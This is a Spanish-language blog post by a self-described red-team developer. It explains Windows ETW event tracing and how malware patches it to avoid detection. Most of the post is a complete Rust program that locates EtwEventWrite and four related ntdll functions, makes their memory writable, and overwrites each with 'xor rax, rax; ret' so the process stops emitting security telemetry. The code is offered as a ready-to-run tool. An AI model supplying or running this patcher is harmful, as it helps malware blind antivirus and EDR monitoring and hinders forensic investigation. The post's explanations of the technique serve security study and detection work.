Evasion ETW

3xploit
5 min readMay 4, 2024

ETW (Event Tracing for Windows): La herramienta esencial para monitorear el rendimiento del sistema

En el mundo de la administración de sistemas y el desarrollo de software en el ecosistema Windows, hay una herramienta crucial que a menudo pasa desapercibida para muchos: Event Tracing for Windows (ETW). Este mecanismo de registro de eventos, desarrollado por Microsoft, actúa como el ojo atento que registra minuciosamente cada movimiento dentro del sistema operativo y las aplicaciones en tiempo rea

¿Qué hace exactamente ETW?

ETW es mucho más que un simple registro de eventos. Es un sistema altamente eficiente que captura una amplia gama de eventos, desde acciones fundamentales del kernel hasta eventos específicos de las aplicaciones. Estos eventos pueden proporcionar información valiosa sobre el estado del sistema, advertencias de posibles problemas y detalles cruciales sobre errores que podrían pasar desapercibidos de otra manera.

Lo que hace que ETW sea aún más poderoso es su capacidad de configuración. Los usuarios pueden ajustar finamente qué eventos desean capturar, controlar la frecuencia de muestreo y especificar los destinos de registro, todo para adaptarse a las necesidades específicas de monitoreo de su sistema o aplicación.

¿Cómo Parchean ETW los Malware?

Algunos malware manipulan ETW para evitar la detección. Lo hacen parcheando las funciones de ETW en tiempo de ejecución, alterando su comportamiento para suprimir la generación de eventos que puedan delatar su actividad maliciosa. Esto les permite operar en el sistema sin levantar sospechas, incluso ante software de seguridad que depende de ETW para detectar comportamientos sospechosos.

Impacto en la Seguridad

La manipulación de ETW tiene consecuencias graves:

  1. Dificultad en la Detección: Los antivirus y las soluciones de monitoreo de seguridad que dependen de ETW pierden visibilidad de la actividad del sistema, lo que facilita la persistencia del malware.
  2. Análisis Forense: La alteración de ETW complica el análisis forense posterior a una brecha de seguridad, ya que se elimina o altera información clave sobre la actividad del sistema.

en la siguiente establecemos un breakpoint en la llamada a EtwEventWrite donde observamos

  1. 00007FFE7FB3F1B0: Es la dirección de memoria donde se encuentra la instrucción, representada en formato hexadecimal.
  2. <ntdll: Indica que la instrucción está ubicada dentro de la biblioteca ntdll.dll
  3. 4C:8BDC: Es el código hexadecimal que representa la instrucción mov r11, rsp.
  4. mov r11, rsp: Es la instrucción en lenguaje ensamblador que copia el valor del puntero de la pila (rsp) al registro r11.

he escrito un codigo en rust para mapear y generar el patch de las apis correspondientes para el ETW con un poco de verbose a bajo nivel.

extern crate capstone;
extern crate winapi;

use std::{ffi::CString, io, ptr, slice};
use capstone::{arch::x86::ArchMode, Capstone};
use capstone::arch::BuildsCapstone;
use winapi::um::memoryapi::VirtualProtect;
use winapi::um::libloaderapi::{GetProcAddress, LoadLibraryA};
use winapi::shared::minwindef::DWORD;
use winapi::um::winnt::PAGE_EXECUTE_READWRITE;


struct FunctionPatcher {
dll_name: &'static str,
func_names: &'static [&'static str],
}

impl FunctionPatcher {
fn new(dll_name: &'static str, func_names: &'static [&'static str]) -> Self {
Self { dll_name, func_names }
}

fn patch_functions(&self) {
let patch: [u8; 4] = [0x48, 0x33, 0xC0, 0xC3]; // xor rax, rax; ret

for func_name in self.func_names {
match self.get_proc_address(func_name) {
Some(addr) => {
println!("╭── Patching function '{}' at address {:#018x}", func_name, addr);

let original_bytes = unsafe { slice::from_raw_parts(addr as *const u8, patch.len()) };
println!(
"├── \x1b[33mOriginal bytes\x1b[0m: {}",
format_bytes(original_bytes)
);

if let Ok(asm) = self.disassemble(original_bytes, addr) {
println!("├── \x1b[33mOriginal ASM\x1b[0m:\n{}", indent_lines(&asm));
}

if let Err(e) = self.apply_patch(addr, &patch) {
println!("╰── \x1b[31mFailed to patch\x1b[0m function '{}' at address {:#018x}: {}", func_name, addr, e);
} else {
println!(
"╰── \x1b[32mSuccessfully patched\x1b[0m function '{}' at address {:#018x} with bytes {}",
func_name,
addr,
format_bytes(&patch)
);
}
println!("");
}
None => println!("Failed to find address of function '{}'", func_name),
}
}
}

fn get_proc_address(&self, func_name: &str) -> Option<usize> {
unsafe {
let dll = LoadLibraryA(CString::new(self.dll_name).unwrap().as_ptr());
if dll.is_null() {
return None;
}
let proc = GetProcAddress(dll, CString::new(func_name).unwrap().as_ptr());
if proc.is_null() {
return None;
}
Some(proc as usize)
}
}

fn apply_patch(&self, addr: usize, patch: &[u8]) -> Result<(), &'static str> {
unsafe {
let mut old_protect: DWORD = 0;
if VirtualProtect(addr as *mut _, patch.len(), PAGE_EXECUTE_READWRITE, &mut old_protect) == 0 {
return Err("Failed to change memory protection");
}

ptr::copy_nonoverlapping(patch.as_ptr(), addr as *mut u8, patch.len());

VirtualProtect(addr as *mut _, patch.len(), old_protect, &mut old_protect);

let patched_bytes = slice::from_raw_parts(addr as *const u8, patch.len());
if patched_bytes == patch {
Ok(())
} else {
Err("Patch verification failed")
}
}
}

fn disassemble(&self, bytes: &[u8], address: usize) -> Result<String, String> {
let cs = Capstone::new()
.x86()
.mode(ArchMode::Mode64)
.build()
.map_err(|e| e.to_string())?;
let insns = cs.disasm_all(bytes, address as u64).map_err(|e| e.to_string())?;
let mut result = String::new();
for insn in insns.iter() {
result.push_str(&format!(
"0x{:016x}:\t{}\t{}\n",
insn.address(),
insn.mnemonic().unwrap_or(""),
insn.op_str().unwrap_or("")
));
}
Ok(result)
}
}

fn format_bytes(data: &[u8]) -> String {
data.iter().map(|b| format!("{:02x}", b)).collect::<Vec<_>>().join(" ")
}

fn indent_lines(text: &str) -> String {
text.lines()
.map(|line| format!("│ {}", line))
.collect::<Vec<_>>()
.join("\n")
}



fn main() {
println!("Patching ETW functions in the current process");

let patcher = FunctionPatcher::new("ntdll.dll", &[
"EtwEventWrite",
"EtwEventWriteEx",
"EtwEventWriteFull",
"EtwEventWriteString",
"EtwEventWriteTransfer"
]);

println!("Press Enter to continue with patching...");
let mut input = String::new();
io::stdin().read_line(&mut input).expect("Failed to read line");

patcher.patch_functions();



println!("Patching completed. Press Enter to exit.");
io::stdin().read_line(&mut input).expect("Failed to read line");
}
  1. \x48\x33\xc0: Es la instrucción xor rax, rax, que pone el registro rax a cero.
  2. \xC3: Es la instrucción ret, que regresa de la función actual.

Posteriormente despues de realizar el patch podemos visualizar con x64dbg la manipulacion en memoria.

Parchear estas funciones implica modificarlas para alterar o anular su comportamiento estándar. El malware suele parchear estas funciones por las siguientes razones:

  1. Evasión de Detección: Al deshabilitar las funciones de ETW o modificar su comportamiento, el malware puede evitar que se registren eventos sospechosos, haciendo que sea más difícil para las soluciones de seguridad detectarlo.
  2. Ocultar Actividades: Los eventos de ETW pueden ser una fuente valiosa de información para los administradores y las herramientas de seguridad. Parchear estas funciones puede evitar que ciertos eventos se registren, ocultando así las actividades del malware.
  3. Persistencia: Al manipular estas funciones, el malware puede mantenerse en el sistema sin ser detectado, permitiendo que sus componentes sigan operando incluso si se intentan eliminar o identificar.
  4. Confusión: Algunos malware parchean las funciones de ETW para causar confusión y desinformación en los registros, haciendo más difícil el análisis forense posterior a una infección.

En resumen, parchear las funciones de ETW permite al malware ocultar su presencia y operaciones, lo que complica su detección y análisis.

--

--

3xploit

Ethical Hacker | Pentester Cloud | Red Team | Offensive Developer | Adversary Simulation | Golang Developer